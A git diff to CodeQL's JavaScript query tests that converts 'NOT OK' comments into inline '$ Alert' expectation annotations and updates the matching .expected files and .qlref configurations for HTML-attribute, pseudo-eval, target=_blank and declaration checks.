diff --git a/javascript/ql/test/query-tests/DOM/HTML/ConflictingAttributes.expected b/javascript/ql/test/query-tests/DOM/HTML/ConflictingAttributes.expected
index 46ff575e355c..4b9243036e4f 100644
--- a/javascript/ql/test/query-tests/DOM/HTML/ConflictingAttributes.expected
+++ b/javascript/ql/test/query-tests/DOM/HTML/ConflictingAttributes.expected
@@ -1,3 +1,3 @@
 | ConflictingAttributes.html:1:4:1:27 | href=http://semmle.com | This attribute has the same name as $@ of the same element, but a different value. | ConflictingAttributes.html:1:29:1:53 | href=https://semmle.com | another attribute |
-| tst.js:6:4:6:27 | href="h ... le.com" | This attribute has the same name as $@ of the same element, but a different value. | tst.js:6:29:6:53 | href="h ... le.com" | another attribute |
-| tst.js:16:4:16:27 | href="h ... le.com" | This attribute has the same name as $@ of the same element, but a different value. | tst.js:16:29:16:46 | href={someValue()} | another attribute |
+| tst.js:5:4:5:27 | href="h ... le.com" | This attribute has the same name as $@ of the same element, but a different value. | tst.js:5:29:5:53 | href="h ... le.com" | another attribute |
+| tst.js:12:4:12:27 | href="h ... le.com" | This attribute has the same name as $@ of the same element, but a different value. | tst.js:12:29:12:46 | href={someValue()} | another attribute |
diff --git a/javascript/ql/test/query-tests/DOM/HTML/ConflictingAttributes.html b/javascript/ql/test/query-tests/DOM/HTML/ConflictingAttributes.html
index 92af95c3e3c1..9c1d31c1427d 100644
--- a/javascript/ql/test/query-tests/DOM/HTML/ConflictingAttributes.html
+++ b/javascript/ql/test/query-tests/DOM/HTML/ConflictingAttributes.html
@@ -1 +1 @@
-<a href="http://semmle.com" href="https://semmle.com">Semmle</a>
+<a href="http://semmle.com" href="https://semmle.com">Semmle</a> <!-- $ Alert[js/conflicting-html-attribute] -->
diff --git a/javascript/ql/test/query-tests/DOM/HTML/ConflictingAttributes.qlref b/javascript/ql/test/query-tests/DOM/HTML/ConflictingAttributes.qlref
index 7022b813c939..678090c3e81b 100644
--- a/javascript/ql/test/query-tests/DOM/HTML/ConflictingAttributes.qlref
+++ b/javascript/ql/test/query-tests/DOM/HTML/ConflictingAttributes.qlref
@@ -1 +1,2 @@
-DOM/ConflictingAttributes.ql
+query: DOM/ConflictingAttributes.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/DOM/HTML/DuplicateAttributes.expected b/javascript/ql/test/query-tests/DOM/HTML/DuplicateAttributes.expected
index 988c4925a461..02866a675677 100644
--- a/javascript/ql/test/query-tests/DOM/HTML/DuplicateAttributes.expected
+++ b/javascript/ql/test/query-tests/DOM/HTML/DuplicateAttributes.expected
@@ -1,3 +1,3 @@
 | DuplicateAttributes.html:1:4:1:28 | href=https://semmle.com | This attribute $@. | DuplicateAttributes.html:1:30:1:54 | href=https://semmle.com | is duplicated later |
-| tst.js:9:4:9:28 | href="h ... le.com" | This attribute $@. | tst.js:9:30:9:54 | href="h ... le.com" | is duplicated later |
-| tst.js:25:17:25:28 | id="theDiff" | This attribute $@. | tst.js:25:30:25:41 | id="theDiff" | is duplicated later |
+| tst.js:7:4:7:28 | href="h ... le.com" | This attribute $@. | tst.js:7:30:7:54 | href="h ... le.com" | is duplicated later |
+| tst.js:18:17:18:28 | id="theDiff" | This attribute $@. | tst.js:18:30:18:41 | id="theDiff" | is duplicated later |
diff --git a/javascript/ql/test/query-tests/DOM/HTML/DuplicateAttributes.html b/javascript/ql/test/query-tests/DOM/HTML/DuplicateAttributes.html
index 4155ef623419..95a34ce55fd1 100644
--- a/javascript/ql/test/query-tests/DOM/HTML/DuplicateAttributes.html
+++ b/javascript/ql/test/query-tests/DOM/HTML/DuplicateAttributes.html
@@ -1,3 +1,3 @@
-<a href="https://semmle.com" href="https://semmle.com">Semmle</a>
+<a href="https://semmle.com" href="https://semmle.com">Semmle</a> <!-- $ Alert[js/duplicate-html-attribute] -->
 
 <td {% foo %} {% foo %}></td>
diff --git a/javascript/ql/test/query-tests/DOM/HTML/DuplicateAttributes.qlref b/javascript/ql/test/query-tests/DOM/HTML/DuplicateAttributes.qlref
index 1ce0181329f1..9066faa039ff 100644
--- a/javascript/ql/test/query-tests/DOM/HTML/DuplicateAttributes.qlref
+++ b/javascript/ql/test/query-tests/DOM/HTML/DuplicateAttributes.qlref
@@ -1 +1,2 @@
-DOM/DuplicateAttributes.ql
+query: DOM/DuplicateAttributes.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/DOM/HTML/MalformedIdAttribute.expected b/javascript/ql/test/query-tests/DOM/HTML/MalformedIdAttribute.expected
index 96d365e5dc5e..fbbfcc95d23b 100644
--- a/javascript/ql/test/query-tests/DOM/HTML/MalformedIdAttribute.expected
+++ b/javascript/ql/test/query-tests/DOM/HTML/MalformedIdAttribute.expected
@@ -1,5 +1,5 @@
 | AmbiguousIdAttributeGood.html:8:5:8:19 | id=invalid id | The value of the id attribute must not contain any space characters. |
 | AmbiguousIdAttributeGood.html:9:5:9:19 | id=invalid id | The value of the id attribute must not contain any space characters. |
 | MalformedIdAttribute.html:1:6:1:27 | id=heading important | The value of the id attribute must not contain any space characters. |
-| tst.js:12:6:12:10 | id="" | The value of the id attribute must contain at least one character. |
-| tst.js:13:6:13:13 | id="a b" | The value of the id attribute must not contain any space characters. |
+| tst.js:9:6:9:10 | id="" | The value of the id attribute must contain at least one character. |
+| tst.js:10:6:10:13 | id="a b" | The value of the id attribute must not contain any space characters. |
diff --git a/javascript/ql/test/query-tests/DOM/HTML/MalformedIdAttribute.html b/javascript/ql/test/query-tests/DOM/HTML/MalformedIdAttribute.html
index 9da8fcde5022..45d14ac5bb70 100644
--- a/javascript/ql/test/query-tests/DOM/HTML/MalformedIdAttribute.html
+++ b/javascript/ql/test/query-tests/DOM/HTML/MalformedIdAttribute.html
@@ -1 +1 @@
-<div id="heading important">An important heading</div>
+<div id="heading important">An important heading</div> <!-- $ Alert[js/malformed-html-id] -->
diff --git a/javascript/ql/test/query-tests/DOM/HTML/MalformedIdAttribute.qlref b/javascript/ql/test/query-tests/DOM/HTML/MalformedIdAttribute.qlref
index 8665e0ad7b85..04f910af31b9 100644
--- a/javascript/ql/test/query-tests/DOM/HTML/MalformedIdAttribute.qlref
+++ b/javascript/ql/test/query-tests/DOM/HTML/MalformedIdAttribute.qlref
@@ -1 +1,2 @@
-DOM/MalformedIdAttribute.ql
+query: DOM/MalformedIdAttribute.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/DOM/HTML/tst.js b/javascript/ql/test/query-tests/DOM/HTML/tst.js
index df60053b8b93..04f9ee0bd554 100644
--- a/javascript/ql/test/query-tests/DOM/HTML/tst.js
+++ b/javascript/ql/test/query-tests/DOM/HTML/tst.js
@@ -1,25 +1,18 @@
-// OK: we don't know whether the two elements are added to the same document
+// OK - we don't know whether the two elements are added to the same document
 var div1 = <div id="theDiff"></div>;
 var div2 = <div id="theDiff"></div>;
 
-// not OK
-<a href="http://semmle.com" href="https://semmle.com">Semmle</a>;
+<a href="http://semmle.com" href="https://semmle.com">Semmle</a>; // $ Alert[js/conflicting-html-attribute]
 
-// not OK
-<a href="https://semmle.com" href="https://semmle.com">Semmle</a>;
+<a href="https://semmle.com" href="https://semmle.com">Semmle</a>; // $ Alert[js/duplicate-html-attribute]
 
-// not OK
-<div id=""></div>;
-<div id="a b"></div>;
+<div id=""></div>; // $ Alert[js/malformed-html-id]
+<div id="a b"></div>; // $ Alert[js/malformed-html-id]
 
-// not OK
-<a href="http://semmle.com" href={someValue()}>Semmle</a>;
+<a href="http://semmle.com" href={someValue()}>Semmle</a>; // $ Alert[js/conflicting-html-attribute]
 
-// OK
 <div id={someOtherValue()}></div>;
 
-// not OK
-var div3 = <div><div id="theDiff"></div><div id="theDiff"></div></div>;
+var div3 = <div><div id="theDiff"></div><div id="theDiff"></div></div>; // $ Alert[js/duplicate-html-id]
 
-// not OK
-var div4 = <div id="theDiff" id="theDiff"></div>;
+var div4 = <div id="theDiff" id="theDiff"></div>; // $ Alert[js/duplicate-html-attribute]
diff --git a/javascript/ql/test/query-tests/DOM/PseudoEval/PseudoEval.qlref b/javascript/ql/test/query-tests/DOM/PseudoEval/PseudoEval.qlref
index 4d773c9c35d7..51a532f97916 100644
--- a/javascript/ql/test/query-tests/DOM/PseudoEval/PseudoEval.qlref
+++ b/javascript/ql/test/query-tests/DOM/PseudoEval/PseudoEval.qlref
@@ -1 +1,2 @@
-DOM/PseudoEval.ql
\ No newline at end of file
+query: DOM/PseudoEval.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/DOM/PseudoEval/tst.js b/javascript/ql/test/query-tests/DOM/PseudoEval/tst.js
index 52030b2e2584..18f3828a15e2 100644
--- a/javascript/ql/test/query-tests/DOM/PseudoEval/tst.js
+++ b/javascript/ql/test/query-tests/DOM/PseudoEval/tst.js
@@ -1,10 +1,10 @@
-window.setTimeout(";");
-setInterval("update();");
+window.setTimeout(";"); // $ Alert
+setInterval("update();"); // $ Alert
 setInterval(update);
-document.write("alert('Hi!');");
-window.execScript("debugger;");
+document.write("alert('Hi!');"); // $ Alert
+window.execScript("debugger;"); // $ Alert
 
 (function(global) {
   var document = global.document;
-  document.write("undefined = 2");
+  document.write("undefined = 2"); // $ Alert
 })(this);
diff --git a/javascript/ql/test/query-tests/DOM/TargetBlank/TargetBlank.expected b/javascript/ql/test/query-tests/DOM/TargetBlank/TargetBlank.expected
index 1fba6292f897..d9842e5c53c0 100644
--- a/javascript/ql/test/query-tests/DOM/TargetBlank/TargetBlank.expected
+++ b/javascript/ql/test/query-tests/DOM/TargetBlank/TargetBlank.expected
@@ -1,9 +1,9 @@
 | tst.html:23:1:23:61 | <a>...</> | External links without noopener/noreferrer are a potential security risk. |
 | tst.html:24:1:24:48 | <a>...</> | External links without noopener/noreferrer are a potential security risk. |
-| tst.html:25:1:25:36 | <a>...</> | External links without noopener/noreferrer are a potential security risk. |
+| tst.html:25:1:25:54 | <a>...</> | External links without noopener/noreferrer are a potential security risk. |
 | tst.html:30:1:30:61 | <a>...</> | External links without noopener/noreferrer are a potential security risk. |
-| tst.js:18:1:18:43 | <a href ... ple</a> | External links without noopener/noreferrer are a potential security risk. |
-| tst.js:19:1:19:58 | <a href ... ple</a> | External links without noopener/noreferrer are a potential security risk. |
-| tst.js:20:1:20:51 | <a data ... ple</a> | External links without noopener/noreferrer are a potential security risk. |
-| tst.js:33:12:33:39 | $("<a/> ... X}}" }) | External links without noopener/noreferrer are a potential security risk. |
-| tst.js:42:12:42:20 | $("<a/>") | External links without noopener/noreferrer are a potential security risk. |
+| tst.js:16:1:16:43 | <a href ... ple</a> | External links without noopener/noreferrer are a potential security risk. |
+| tst.js:17:1:17:58 | <a href ... ple</a> | External links without noopener/noreferrer are a potential security risk. |
+| tst.js:18:1:18:51 | <a data ... ple</a> | External links without noopener/noreferrer are a potential security risk. |
+| tst.js:29:12:29:39 | $("<a/> ... X}}" }) | External links without noopener/noreferrer are a potential security risk. |
+| tst.js:36:12:36:20 | $("<a/>") | External links without noopener/noreferrer are a potential security risk. |
diff --git a/javascript/ql/test/query-tests/DOM/TargetBlank/TargetBlank.qlref b/javascript/ql/test/query-tests/DOM/TargetBlank/TargetBlank.qlref
index d02f1866b82d..3f4f724c916c 100644
--- a/javascript/ql/test/query-tests/DOM/TargetBlank/TargetBlank.qlref
+++ b/javascript/ql/test/query-tests/DOM/TargetBlank/TargetBlank.qlref
@@ -1 +1,2 @@
-DOM/TargetBlank.ql
+query: DOM/TargetBlank.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/DOM/TargetBlank/tst.html b/javascript/ql/test/query-tests/DOM/TargetBlank/tst.html
index 78c104bcaa1e..53d0df2000d9 100644
--- a/javascript/ql/test/query-tests/DOM/TargetBlank/tst.html
+++ b/javascript/ql/test/query-tests/DOM/TargetBlank/tst.html
@@ -20,14 +20,14 @@ <h1>OK, because of constant prefix</h1>
 <a data-ng-href="https://example.com/{{X}}" target="_blank">Example</a>
 
 <h1>NOT OK, because of dynamic URL</h1>
-<a href="http://example.com{{X}}" target="_blank">Example</a>
-<a href="{{target}}" target="_blank">Example</a>
-<a href="{{target}}" target="_blank">
+<a href="http://example.com{{X}}" target="_blank">Example</a> <!-- $ Alert -->
+<a href="{{target}}" target="_blank">Example</a> <!-- $ Alert -->
+<a href="{{target}}" target="_blank"> <!-- $ Alert -->
   Example
 </a>
 
 <h1>NOT OK: mailto is not fine.</h1>
-<a target="_blank" href="mailto:{{var:mail}}">mail somone</a>
+<a target="_blank" href="mailto:{{var:mail}}">mail somone</a> <!-- $ Alert -->
 
 <h1>OK: template elements after # or ? are fine.</h1>
 <a href="file.extension?#[% row.href %]" target="_blank">Example</a>
diff --git a/javascript/ql/test/query-tests/DOM/TargetBlank/tst.js b/javascript/ql/test/query-tests/DOM/TargetBlank/tst.js
index 1f1e43ab1550..7f3f7c9fc537 100644
--- a/javascript/ql/test/query-tests/DOM/TargetBlank/tst.js
+++ b/javascript/ql/test/query-tests/DOM/TargetBlank/tst.js
@@ -1,7 +1,6 @@
 function foo() { return "noopener noreferrer"; }
 var o = { rel: "noopener noreferrer "};
 
-// OK
 <a href="http://example.com" target="_blank" rel="noopener noreferrer">Example</a>;
 <a href="http://example.com" target="_blank" rel="noreferrer">Example</a>;
 <a href="http://example.com" target="_blank" rel="noopener">Example</a>;
@@ -9,42 +8,37 @@ var o = { rel: "noopener noreferrer "};
 <a href="http://example.com" target="_blank" {...o}>Example</a>;
 <a data-ng-href="https://example.com" target="_blank" rel="noopener">Example</a>;
 
-// OK, because of constant URL
+// OK - because of constant URL
 <a href="http://example.com" target="_blank">Example</a>;
 <a href="http://example.com" target="_blank" rel="nopoener">Example</a>;
 <a data-ng-href="https://example.com" target="_blank">Example</a>;
 
-// NOT OK, because of dynamic URL
-<a href="{{X}}" target="_blank">Example</a>;
-<a href="{{X}}" target="_blank" rel="nopoener">Example</a>;
-<a data-ng-href="{{X}}" target="_blank">Example</a>;
+<a href="{{X}}" target="_blank">Example</a>; // $ Alert - because of dynamic URL
+<a href="{{X}}" target="_blank" rel="nopoener">Example</a>; // $ Alert
+<a data-ng-href="{{X}}" target="_blank">Example</a>; // $ Alert
 
 function f() {
-  // OK
+
   var a1 = $("<a/>", { href: "http://example.com" });
   a1.attr("target", "_blank");
 
-  // OK
   var a2 = $("<a/>", { href: "http://example.com" });
   a2.attr("target", "_blank");
   a2.attr(computedName(), "noopener");
 
-  // NOT OK
-  var a3 = $("<a/>", { href: "{{X}}" });
+  var a3 = $("<a/>", { href: "{{X}}" }); // $ Alert
   a3.attr("target", "_blank");
 
-  // OK
   var a4 = $("<a/>");
   a4[f()] = g();
   a4.attr("target", "_blank");
 
-  // NOT OK
-  var a5 = $("<a/>");
+  var a5 = $("<a/>"); // $ Alert
   a5.attr("href", g());
   a5.attr("target", "_blank");
 }
 
-// OK, because of dynamic URL with fixed host
+// OK - because of dynamic URL with fixed host
 <a href="https://example.com/{{X}}" target="_blank">Example</a>;
 <a href="https://ex-ample.com/{{X}}" target="_blank">Example</a>;
 <a href="HTTPS://EXAMPLE.COM/{{X}}" target="_blank">Example</a>;
@@ -52,20 +46,20 @@ function f() {
 <a href="//example.com/{{X}}" target="_blank">Example</a>;
 <a href="//www.example.com/{{X}}" target="_blank">Example</a>;
 
-// OK, because of dynamic URL with relative path
+// OK - because of dynamic URL with relative path
 <a href="./{{X}}" target="_blank">Example</a>;
 <a href="../{{X}}" target="_blank">Example</a>;
 <a href="index.html/{{X}}" target="_blank">Example</a>;
 <a href="../index.html/{{X}}" target="_blank">Example</a>;
 <a href="/{{X}}" target="_blank">Example</a>;
 
-// OK, Flask application with internal links
+// OK - Flask application with internal links
 <a href="{{url_for('foo.html', 'foo')}}" target="_blank">Example</a>;
 <a href="{{ url_for('foo.html', 'foo')}}" target="_blank">Example</a>;
 <a href="{{ 	url_for('foo.html', 'foo')}}" target="_blank">Example</a>;
 
-// OK, nunjucks template
+// OK - nunjucks template
 <a href="{{ url('foo', query={bla}) }}" target="_blank">Example</a>;
 
-// OK, Django application with internal links
+// OK - Django application with internal links
 <a href="{% url 'admin:auth_user_changelist' %}" target="_blank">Example</a>
diff --git a/javascript/ql/test/query-tests/Declarations/ArgumentsRedefined/ArgumentsRedefined.qlref b/javascript/ql/test/query-tests/Declarations/ArgumentsRedefined/ArgumentsRedefined.qlref
index e48959a692ac..b955dfe9e83b 100644
--- a/javascript/ql/test/query-tests/Declarations/ArgumentsRedefined/ArgumentsRedefined.qlref
+++ b/javascript/ql/test/query-tests/Declarations/ArgumentsRedefined/ArgumentsRedefined.qlref
@@ -1 +1,2 @@
-Declarations/ArgumentsRedefined.ql
+query: Declarations/ArgumentsRedefined.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Declarations/ArgumentsRedefined/tst.js b/javascript/ql/test/query-tests/Declarations/ArgumentsRedefined/tst.js
index c381f60bc272..1aceac8eeb0d 100644
--- a/javascript/ql/test/query-tests/Declarations/ArgumentsRedefined/tst.js
+++ b/javascript/ql/test/query-tests/Declarations/ArgumentsRedefined/tst.js
@@ -1,13 +1,13 @@
 function f() {
   if (arguments[0].isArray())
-    arguments = arguments[0]; // NOT OK
+    arguments = arguments[0]; // $ Alert
 }
 
 function g(x, y) {
-  var arguments = [y, x]; // NOT OK
+  var arguments = [y, x]; // $ Alert
 }
 
 (function (){
-    for ([arguments] of o);
-    for ([arguments = 4] of o);
+    for ([arguments] of o); // $ Alert
+    for ([arguments = 4] of o); // $ Alert
 });
diff --git a/javascript/ql/test/query-tests/Declarations/ArgumentsRedefined/types.d.ts b/javascript/ql/test/query-tests/Declarations/ArgumentsRedefined/types.d.ts
index d69f8eca109b..855c23cdb118 100644
--- a/javascript/ql/test/query-tests/Declarations/ArgumentsRedefined/types.d.ts
+++ b/javascript/ql/test/query-tests/Declarations/ArgumentsRedefined/types.d.ts
@@ -1,3 +1,3 @@
-declare function ambientArguments(arguments: string[]): string; // OK
+declare function ambientArguments(arguments: string[]): string;
 
-declare function ambientArgumentsVarArgs(...arguments: string[]): string; // OK
+declare function ambientArgumentsVarArgs(...arguments: string[]): string;
diff --git a/javascript/ql/test/query-tests/Declarations/AssignmentToConst/AssignmentToConst.expected b/javascript/ql/test/query-tests/Declarations/AssignmentToConst/AssignmentToConst.expected
index b74841153cb3..7e457d64b08e 100644
--- a/javascript/ql/test/query-tests/Declarations/AssignmentToConst/AssignmentToConst.expected
+++ b/javascript/ql/test/query-tests/Declarations/AssignmentToConst/AssignmentToConst.expected
@@ -1,7 +1,7 @@
-| classes.js:4:1:4:10 | class C {} | Assignment to variable C, which is $@ constant. | classes.js:1:1:1:13 | const C = 45; | declared |
-| functions.js:4:10:4:10 | C | Assignment to variable C, which is $@ constant. | functions.js:1:1:1:13 | const C = 45; | declared |
-| tst.js:4:1:4:6 | x = 42 | Assignment to variable x, which is $@ constant. | tst.js:1:1:1:21 | const x ... y = 42; | declared |
-| tst.js:7:1:7:6 | y = 23 | Assignment to variable y, which is $@ constant. | tst.js:1:1:1:21 | const x ... y = 42; | declared |
-| tst.js:10:5:10:10 | y = -1 | Assignment to variable y, which is $@ constant. | tst.js:1:1:1:21 | const x ... y = 42; | declared |
-| tst.js:13:1:13:3 | ++x | Assignment to variable x, which is $@ constant. | tst.js:1:1:1:21 | const x ... y = 42; | declared |
-| tst.js:25:10:25:14 | [ c ] | Assignment to variable c, which is $@ constant. | tst.js:24:5:24:19 | const c = null; | declared |
+| classes.js:3:1:3:10 | class C {} | Assignment to variable C, which is $@ constant. | classes.js:1:1:1:13 | const C = 45; | declared |
+| functions.js:3:10:3:10 | C | Assignment to variable C, which is $@ constant. | functions.js:1:1:1:13 | const C = 45; | declared |
+| tst.js:3:1:3:6 | x = 42 | Assignment to variable x, which is $@ constant. | tst.js:1:1:1:21 | const x ... y = 42; | declared |
+| tst.js:5:1:5:6 | y = 23 | Assignment to variable y, which is $@ constant. | tst.js:1:1:1:21 | const x ... y = 42; | declared |
+| tst.js:7:5:7:10 | y = -1 | Assignment to variable y, which is $@ constant. | tst.js:1:1:1:21 | const x ... y = 42; | declared |
+| tst.js:9:1:9:3 | ++x | Assignment to variable x, which is $@ constant. | tst.js:1:1:1:21 | const x ... y = 42; | declared |
+| tst.js:21:10:21:14 | [ c ] | Assignment to variable c, which is $@ constant. | tst.js:20:5:20:19 | const c = null; | declared |
diff --git a/javascript/ql/test/query-tests/Declarations/AssignmentToConst/AssignmentToConst.qlref b/javascript/ql/test/query-tests/Declarations/AssignmentToConst/AssignmentToConst.qlref
index a9c879e52c68..0003a1f3c6f5 100644
--- a/javascript/ql/test/query-tests/Declarations/AssignmentToConst/AssignmentToConst.qlref
+++ b/javascript/ql/test/query-tests/Declarations/AssignmentToConst/AssignmentToConst.qlref
@@ -1 +1,2 @@
-Declarations/AssignmentToConst.ql
\ No newline at end of file
+query: Declarations/AssignmentToConst.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Declarations/AssignmentToConst/classes.js b/javascript/ql/test/query-tests/Declarations/AssignmentToConst/classes.js
index 93bb382719f5..5a8866778884 100644
--- a/javascript/ql/test/query-tests/Declarations/AssignmentToConst/classes.js
+++ b/javascript/ql/test/query-tests/Declarations/AssignmentToConst/classes.js
@@ -1,4 +1,3 @@
 const C = 45;
 
-// NOT OK
-class C {}
+class C {} // $ Alert
diff --git a/javascript/ql/test/query-tests/Declarations/AssignmentToConst/const6.js b/javascript/ql/test/query-tests/Declarations/AssignmentToConst/const6.js
index 5f022c603b78..3997e1366e7f 100644
--- a/javascript/ql/test/query-tests/Declarations/AssignmentToConst/const6.js
+++ b/javascript/ql/test/query-tests/Declarations/AssignmentToConst/const6.js
@@ -1,4 +1,4 @@
-// OK: `const` is block scoped in ECMAScript 2015
+// OK - `const` is block scoped in ECMAScript 2015
 function f() {
     {
         const val = 1;
diff --git a/javascript/ql/test/query-tests/Declarations/AssignmentToConst/functions.js b/javascript/ql/test/query-tests/Declarations/AssignmentToConst/functions.js
index e23c770f2ad1..130f0278d657 100644
--- a/javascript/ql/test/query-tests/Declarations/AssignmentToConst/functions.js
+++ b/javascript/ql/test/query-tests/Declarations/AssignmentToConst/functions.js
@@ -1,4 +1,3 @@
 const C = 45;
 
-// NOT OK
-function C() {}
+function C() {} // $ Alert
diff --git a/javascript/ql/test/query-tests/Declarations/AssignmentToConst/other.js b/javascript/ql/test/query-tests/Declarations/AssignmentToConst/other.js
index 929a95754f81..5f66a500f8b5 100644
--- a/javascript/ql/test/query-tests/Declarations/AssignmentToConst/other.js
+++ b/javascript/ql/test/query-tests/Declarations/AssignmentToConst/other.js
@@ -1,2 +1 @@
-// OK
-const s = "there";
\ No newline at end of file
+const s = "there";
diff --git a/javascript/ql/test/query-tests/Declarations/AssignmentToConst/tst.js b/javascript/ql/test/query-tests/Declarations/AssignmentToConst/tst.js
index c68d2380e017..fc40d5d3650c 100644
--- a/javascript/ql/test/query-tests/Declarations/AssignmentToConst/tst.js
+++ b/javascript/ql/test/query-tests/Declarations/AssignmentToConst/tst.js
@@ -1,26 +1,22 @@
 const x = 23, y = 42;
 
-// NOT OK
-x = 42;
+x = 42; // $ Alert
 
-// NOT OK
-y = 23;
+y = 23; // $ Alert
 
-// NOT OK
-var y = -1;
+var y = -1; // $ Alert
 
-// NOT OK
-++x;
+++x; // $ Alert
 
 var z = 56;
 
-// OK
+
 z = 72;
 
-// OK
+
 const s = "hi";
 
 (function (){
     const c = null;
-    for ([ c ] of o);
+    for ([ c ] of o); // $ Alert
 });
diff --git a/javascript/ql/test/query-tests/Declarations/ClobberingVarInit/ClobberingVarInit.expected b/javascript/ql/test/query-tests/Declarations/ClobberingVarInit/ClobberingVarInit.expected
index 7063b316a62e..501e442bcbf2 100644
--- a/javascript/ql/test/query-tests/Declarations/ClobberingVarInit/ClobberingVarInit.expected
+++ b/javascript/ql/test/query-tests/Declarations/ClobberingVarInit/ClobberingVarInit.expected
@@ -1 +1 @@
-| tst.js:3:24:3:36 | key = iter[1] | This initialization of key overwrites an $@. | tst.js:3:9:3:21 | key = iter[0] | earlier initialization |
+| tst.js:2:24:2:36 | key = iter[1] | This initialization of key overwrites an $@. | tst.js:2:9:2:21 | key = iter[0] | earlier initialization |
diff --git a/javascript/ql/test/query-tests/Declarations/ClobberingVarInit/ClobberingVarInit.qlref b/javascript/ql/test/query-tests/Declarations/ClobberingVarInit/ClobberingVarInit.qlref
index 09f107b9c2de..f93499b1f13e 100644
--- a/javascript/ql/test/query-tests/Declarations/ClobberingVarInit/ClobberingVarInit.qlref
+++ b/javascript/ql/test/query-tests/Declarations/ClobberingVarInit/ClobberingVarInit.qlref
@@ -1 +1,2 @@
-Declarations/ClobberingVarInit.ql
\ No newline at end of file
+query: Declarations/ClobberingVarInit.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Declarations/ClobberingVarInit/tst.js b/javascript/ql/test/query-tests/Declarations/ClobberingVarInit/tst.js
index 00ca7e51f7cf..c1060f0280ab 100644
--- a/javascript/ql/test/query-tests/Declarations/ClobberingVarInit/tst.js
+++ b/javascript/ql/test/query-tests/Declarations/ClobberingVarInit/tst.js
@@ -1,12 +1,11 @@
 for (var iter in Iterator(aExtraHeaders)) {
-    // NOT OK
-    var key = iter[0], key = iter[1];
+    var key = iter[0], key = iter[1]; // $ Alert
     xhr.setRequestHeader(key, value);
 }
 
-// OK
+
 var tmp = f(),
     tmp = tmp + 19;
 
-// OK
+
 var a, b, a = 42;
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Declarations/ConflictingFunctions/ConflictingFunctions.qlref b/javascript/ql/test/query-tests/Declarations/ConflictingFunctions/ConflictingFunctions.qlref
index fc7a36de5226..5bef6c78f6a8 100644
--- a/javascript/ql/test/query-tests/Declarations/ConflictingFunctions/ConflictingFunctions.qlref
+++ b/javascript/ql/test/query-tests/Declarations/ConflictingFunctions/ConflictingFunctions.qlref
@@ -1 +1,2 @@
-Declarations/ConflictingFunctions.ql
\ No newline at end of file
+query: Declarations/ConflictingFunctions.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Declarations/ConflictingFunctions/tst.js b/javascript/ql/test/query-tests/Declarations/ConflictingFunctions/tst.js
index 5b6ec033a8ad..4ab06d946b95 100644
--- a/javascript/ql/test/query-tests/Declarations/ConflictingFunctions/tst.js
+++ b/javascript/ql/test/query-tests/Declarations/ConflictingFunctions/tst.js
@@ -1,6 +1,6 @@
 function f(x) {
 	if (x > 23) {
-		function g() {
+		function g() { // $ Alert
 			return 42;
 		}
 	} else {
diff --git a/javascript/ql/test/query-tests/Declarations/DeadStoreOfGlobal/DeadStoreOfGlobal.expected b/javascript/ql/test/query-tests/Declarations/DeadStoreOfGlobal/DeadStoreOfGlobal.expected
index 3c4777ca5a6f..d4f34fa75983 100644
--- a/javascript/ql/test/query-tests/Declarations/DeadStoreOfGlobal/DeadStoreOfGlobal.expected
+++ b/javascript/ql/test/query-tests/Declarations/DeadStoreOfGlobal/DeadStoreOfGlobal.expected
@@ -1,2 +1,2 @@
-| tst.js:2:1:2:1 | g | This definition of g is useless, since its value is never read. |
+| tst.js:1:1:1:1 | g | This definition of g is useless, since its value is never read. |
 | worker.js:3:1:3:9 | onmissage | This definition of onmissage is useless, since its value is never read. |
diff --git a/javascript/ql/test/query-tests/Declarations/DeadStoreOfGlobal/DeadStoreOfGlobal.qlref b/javascript/ql/test/query-tests/Declarations/DeadStoreOfGlobal/DeadStoreOfGlobal.qlref
index e24cf1256f74..7ccb2ebe73ef 100644
--- a/javascript/ql/test/query-tests/Declarations/DeadStoreOfGlobal/DeadStoreOfGlobal.qlref
+++ b/javascript/ql/test/query-tests/Declarations/DeadStoreOfGlobal/DeadStoreOfGlobal.qlref
@@ -1 +1,2 @@
-Declarations/DeadStoreOfGlobal.ql
\ No newline at end of file
+query: Declarations/DeadStoreOfGlobal.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Declarations/DeadStoreOfGlobal/tst.js b/javascript/ql/test/query-tests/Declarations/DeadStoreOfGlobal/tst.js
index 6628880d6c55..5dc730c2d4c5 100644
--- a/javascript/ql/test/query-tests/Declarations/DeadStoreOfGlobal/tst.js
+++ b/javascript/ql/test/query-tests/Declarations/DeadStoreOfGlobal/tst.js
@@ -1,31 +1,23 @@
-// NOT OK
-g = 23;
+g = 23; // $ Alert
 
-// OK
 h = 23;
 alert(h);
 
-// OK
 uid = 0;
 function incr() {
 	return uid++;
 }
 
-// OK
 function foo() {
 	var x;
 	x = 0;
 }
 
-// OK
 onload = function() {}
 
-// OK
 global = 42;
 
-// OK
 prop = 42;
 
-// OK
 /*global otherGlobal*/
-otherGlobal = 56;
\ No newline at end of file
+otherGlobal = 56;
diff --git a/javascript/ql/test/query-tests/Declarations/DeadStoreOfGlobal/worker.js b/javascript/ql/test/query-tests/Declarations/DeadStoreOfGlobal/worker.js
index d8fec2d35077..d7baebc8443c 100644
--- a/javascript/ql/test/query-tests/Declarations/DeadStoreOfGlobal/worker.js
+++ b/javascript/ql/test/query-tests/Declarations/DeadStoreOfGlobal/worker.js
@@ -1,3 +1,3 @@
 onmessage = function() { console.log("Got a message!"); };
 
-onmissage = function() { console.log("How did that happen?"); };
\ No newline at end of file
+onmissage = function() { console.log("How did that happen?"); }; // $ Alert
\ No newline at end of file
